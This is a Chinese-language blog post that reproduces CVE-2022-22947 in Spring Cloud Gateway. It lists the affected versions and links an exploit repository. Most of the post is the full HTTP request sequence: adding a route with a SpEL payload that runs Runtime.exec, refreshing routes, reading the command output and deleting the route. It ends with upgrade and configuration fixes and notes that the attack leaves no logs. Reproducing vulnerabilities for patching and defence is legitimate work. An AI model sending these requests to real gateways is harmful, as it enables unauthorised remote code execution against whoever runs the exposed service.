CVE-2022-22947 Spring Cloud Gateway Actuator API SpEL表达式注入命令执行漏洞复现

CVE-2022-22947 Spring Cloud Gateway Actuator API SpEL表达式注入命令执行漏洞复现

漏洞简述

Spring Cloud Gateway是Spring中的一个API网关。其3.1.0及3.0.6版本(包含)以前存在一处SpEL表达式注入漏洞。当 攻击者可以访问到 Spring Cloud Gateway actuator 端点时,攻击者可构造恶意请求,创建新路由,同时利用路由的filter功能注入spel表达式,从而造成表达式注入执行任意代码。

漏洞影响版本

  •  3.0.x < Spring Cloud Gateway < 3.0.7
  •  3.1.x < Spring Cloud Gateway < 3.1.1

Shodan 搜索语法

无较好的特征进行识别。建议过滤spring网站后判断/actuator/gateway接口是否存在。

漏洞exp

https://github.com/crowsec-edtech/CVE-2022-22947

漏洞环境搭建

使用vulhub进行复现。搭建完成后请求actuator,会返回所有的接口信息。

漏洞复现

该漏洞的利用有多个步骤。

添加包含恶意SpEL表达式的路由。

POST /actuator/gateway/routes/zgao HTTP/1.1
Host: vul.zgao.top:8070
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Connection: close
Content-Type: application/json
Content-Length: 325

{
  "id": "zgao",
  "filters": [{
    "name": "AddResponseHeader",
    "args": {
      "name": "Result",
      "value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"id\"}).getInputStream()))}"
    }
  }],
  "uri": "http://example.com"
}

然后请求refresh接口执行刚才添加的恶意路由,将触发SpEL表达式的执行。

POST /actuator/gateway/refresh HTTP/1.1
Host: vul.zgao.top:8070
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36
Accept-Encoding: gzip, deflate
Connection: close
Content-Type: application/json
Content-Length: 0

然后再请求之前添加的路由,获取命令执行结果。

GET /actuator/gateway/routes/zgao HTTP/1.1
Host: vul.zgao.top:8070
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36
Accept-Encoding: gzip, deflate
Connection: close

可通过delete删除之前添加的恶意路由。

DELETE /actuator/gateway/routes/zgao HTTP/1.1
Host: vul.zgao.top:8070
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36
Accept-Encoding: gzip, deflate
Connection: close

使用上面的exp执行命令。

溯源排查

无日志可排查。

修复方式

1、针对 3.1.x 版本,建议升级至 3.1.1 及其以上版本。针对 3.0.x 版本,建议升级至 3.0.7 及其以上版本 。其余官方不再维护版本均建议升级至最新版本。
2、禁止外界访问 Spring Cloud Gateway actuator 端点 ,修改 spring 配置将 management.endpoint.gateway.enabled 置为 false,并重启服务使配置生效。

Print Friendly, PDF & Email
赞赏

微信赞赏支付宝赞赏

Zgao

愿有一日,安全圈的师傅们都能用上Zgao写的工具。